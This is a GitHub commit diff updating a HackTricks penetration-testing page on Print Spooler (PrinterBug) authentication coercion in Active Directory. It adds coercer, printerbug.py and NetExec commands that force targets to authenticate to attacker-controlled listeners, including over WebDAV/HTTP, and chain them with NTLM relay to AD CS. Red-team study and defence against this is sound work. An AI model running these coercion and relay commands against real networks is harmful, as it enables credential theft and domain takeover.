Skip to content

Commit 78b68a0

Browse files
authored
Merge pull request #2121 from HackTricks-wiki/research_update_src_windows-hardening_active-directory-methodology_printers-spooler-service-abuse_20260412_032430
Research Update Enhanced src/windows-hardening/active-direct...
2 parents e662800 + 8a42dae commit 78b68a0

1 file changed

Lines changed: 47 additions & 5 deletions

File tree

src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

Lines changed: 47 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,9 @@
1111
If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\
1212
Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication.
1313

14+
Under the hood, the classic **PrinterBug** primitive abuses **`RpcRemoteFindFirstPrinterChangeNotificationEx`** over **`\\PIPE\\spoolss`**. The attacker first opens a printer/server handle and then supplies a fake client name in `pszLocalMachine`, so the target spooler creates a notification channel **back to the attacker-controlled host**. This is why the effect is **outbound authentication coercion** rather than direct code execution.\
15+
If you are looking for **RCE/LPE** in the spooler itself, check [PrintNightmare](printnightmare.md). This page is focused on **coercion and relay**.
16+
1417
### Finding Windows Servers on the domain
1518

1619
Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
@@ -28,12 +31,27 @@ Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](h
2831
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
2932
```
3033
31-
You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
34+
You can also use `rpcdump.py` on Linux and look for the **MS-RPRN** protocol:
3235
3336
```bash
3437
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
3538
```
3639
40+
Or quickly test hosts from Linux with **NetExec/CrackMapExec**:
41+
42+
```bash
43+
nxc smb targets.txt -u user -p password -M spooler
44+
```
45+
46+
If you want to **enumerate coercion surfaces** instead of just checking whether the spooler endpoint exists, use **Coercer scan mode**:
47+
48+
```bash
49+
coercer scan -u user -p password -d domain -t TARGET --filter-protocol-name MS-RPRN
50+
coercer scan -u user -p password -d domain -t TARGET --filter-pipe-name spoolss
51+
```
52+
53+
This is useful because seeing the endpoint in EPM only tells you that the print RPC interface is registered. It does **not** guarantee that every coercion method is reachable with your current privileges or that the host will emit a usable authentication flow.
54+
3755
### Ask the service to authenticate against an arbitrary host
3856
3957
You can compile [SpoolSample from here](https://github.com/NotMedic/NetNTLMtoSilverTicket).
@@ -49,6 +67,27 @@ python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
4967
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
5068
```
5169
70+
With **Coercer**, you can target the spooler interfaces directly and avoid guessing which RPC method is exposed:
71+
72+
```bash
73+
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-protocol-name MS-RPRN
74+
coercer coerce -u user -p password -d domain -t TARGET -l LISTENER --filter-method-name RpcRemoteFindFirstPrinterChangeNotificationEx
75+
```
76+
77+
### Forcing HTTP instead of SMB with WebClient
78+
79+
Classic PrinterBug usually yields an **SMB** authentication to `\\attacker\share`, which is still useful for **capture**, **relay to HTTP targets** or **relay where SMB signing is absent**.\
80+
However, in modern environments, relaying **SMB to SMB** is frequently blocked by **SMB signing**, so operators often prefer to force **HTTP/WebDAV** authentication instead.
81+
82+
If the target has the **WebClient** service running, the listener can be specified in a form that makes Windows use **WebDAV over HTTP**:
83+
84+
```bash
85+
printerbug.py 'domain/username:password'@TARGET 'ATTACKER@80/share'
86+
coercer coerce -u user -p password -d domain -t TARGET -l ATTACKER --http-port 80 --filter-protocol-name MS-RPRN
87+
```
88+
89+
This is especially useful when chaining with **`ntlmrelayx --adcs`** or other HTTP relay targets because it avoids relying on SMB relayability on the coerced connection. The important caveat is that **WebClient must be running** on the victim for the HTTP/WebDAV variant to work.
90+
5291
### Combining with Unconstrained Delegation
5392
5493
If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)).
@@ -62,11 +101,11 @@ If an attacker has already compromised a computer with [Unconstrained Delegation
62101
- Pipe: \\PIPE\\spoolss
63102
- IF UUID: 12345678-1234-abcd-ef00-0123456789ab
64103
- Opnums: 62 RpcRemoteFindFirstPrinterChangeNotification; 65 RpcRemoteFindFirstPrinterChangeNotificationEx
65-
- Tools: PrinterBug / PrintNightmare-family
104+
- Tools: PrinterBug / SpoolSample / Coercer
66105
- MS-PAR (Print System Asynchronous Remote)
67106
- Pipe: \\PIPE\\spoolss
68107
- IF UUID: 76f03f96-cdfd-44fc-a22c-64950a001209
69-
- Opnum: 0 RpcAsyncOpenPrinter
108+
- Notes: asynchronous print interface on the same spooler pipe; use Coercer to enumerate reachable methods on a given host
70109
- MS-EFSR (Encrypting File System Remote Protocol)
71110
- Pipes: \\PIPE\\efsrpc (also via \\PIPE\\lsarpc, \\PIPE\\samr, \\PIPE\\lsass, \\PIPE\\netlogon)
72111
- IF UUIDs: c681d488-d850-11d0-8c52-00c04fd90f7e ; df1941c5-fe89-4e79-bf10-463657acf44d
@@ -88,7 +127,8 @@ If an attacker has already compromised a computer with [Unconstrained Delegation
88127
- Opnum: 9 ElfrOpenBELW
89128
- Tool: CheeseOunce
90129
91-
Note: These methods accept parameters that can carry a UNC path (e.g., `\\attacker\share`). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.
130+
Note: These methods accept parameters that can carry a UNC path (e.g., `\\attacker\share`). When processed, Windows will authenticate (machine/user context) to that UNC, enabling NetNTLM capture or relay.\
131+
For spooler abuse, **MS-RPRN opnum 65** remains the most common and best-documented primitive because the protocol specification explicitly states that the server creates a notification channel back to the client specified by `pszLocalMachine`.
92132
93133
### MS-EVEN: ElfrOpenBELW (opnum 9) coercion
94134
- Interface: MS-EVEN over \\PIPE\\even (IF UUID 82273fdc-e32a-18c3-3f78-827929dc23ea)
@@ -175,11 +215,13 @@ _Remember that in order to crack NTLMv1 you need to set Responder challenge to "
175215
176216
## References
177217
- [Unit 42 – Authentication Coercion Keeps Evolving](https://unit42.paloaltonetworks.com/authentication-coercion/)
218+
- [Microsoft – MS-RPRN: RpcRemoteFindFirstPrinterChangeNotificationEx (Opnum 65)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)
178219
- [Microsoft – MS-EVEN: EventLog Remoting Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/55b13664-f739-4e4e-bd8d-04eeda59d09f)
179220
- [Microsoft – MS-EVEN: ElfrOpenBELW (Opnum 9)](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/4db1601c-7bc2-4d5c-8375-c58a6f8fc7e1)
221+
- [p0dalirius – Coercer](https://github.com/p0dalirius/Coercer)
180222
- [p0dalirius – windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)
181223
- [PetitPotam (MS-EFSR)](https://github.com/topotam/PetitPotam)
182224
- [DFSCoerce (MS-DFSNM)](https://github.com/Wh04m1001/DFSCoerce)
183225
- [ShadowCoerce (MS-FSRVP)](https://github.com/ShutdownRepo/ShadowCoerce)
184226
185-
{{#include ../../banners/hacktricks-training.md}}
227+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)